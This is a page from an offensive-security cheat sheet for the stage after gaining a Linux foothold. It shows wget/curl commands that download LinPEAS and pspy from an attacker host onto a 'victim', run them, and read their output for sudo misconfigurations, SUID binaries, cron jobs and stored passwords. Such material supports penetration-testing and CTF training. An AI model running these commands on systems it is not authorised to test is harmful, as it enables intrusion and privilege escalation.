OPSECTLAS you are here: Foothold (Linux)
next-move engine

You have Foothold (Linux)

8 high-yield moves from here, ordered the way the engagement runs. Open any move to see the exact commands.

  1. LinPEAS

    Download to victim

    wget http://<YOUR-IP>/linpeas.sh -O /tmp/linpeas.sh
    curl http://<YOUR-IP>/linpeas.sh -o /tmp/linpeas.sh
    chmod +x /tmp/linpeas.sh

    Run and save output

    /tmp/linpeas.sh | tee /tmp/linpeas_output.txt
    /tmp/linpeas.sh -a     # All checks (slower but more thorough)

    Download: github.com

    Reading LinPEAS output · focus on RED/YELLOW:

    RED text = Critical findings (sudo, SUID, writeable paths, creds found)

    YELLOW text = Interesting findings worth investigating

    Work top-down through RED sections first

    Key sections to check:

    - Sudo version / CVEs

    - Sudo rules

    - SUID binaries (non-default ones)

    - Writable /etc/passwd or /etc/shadow

    - Cron jobs

    - Passwords in files

    - Running services as root

    pspy

    Download to victim

    wget http://<YOUR-IP>/pspy64 -O /tmp/pspy64
    chmod +x /tmp/pspy64

    Run (watches process creation · no root needed)

    /tmp/pspy64
    /tmp/pspy64 -pf -i 1000    # Print files, 1s interval

    Wait 2-5 minutes · watch for:

    - Commands running as UID=0 (root)

    - Cron scripts executing

    - Services restarting

    - Interesting paths being called

    Download: github.com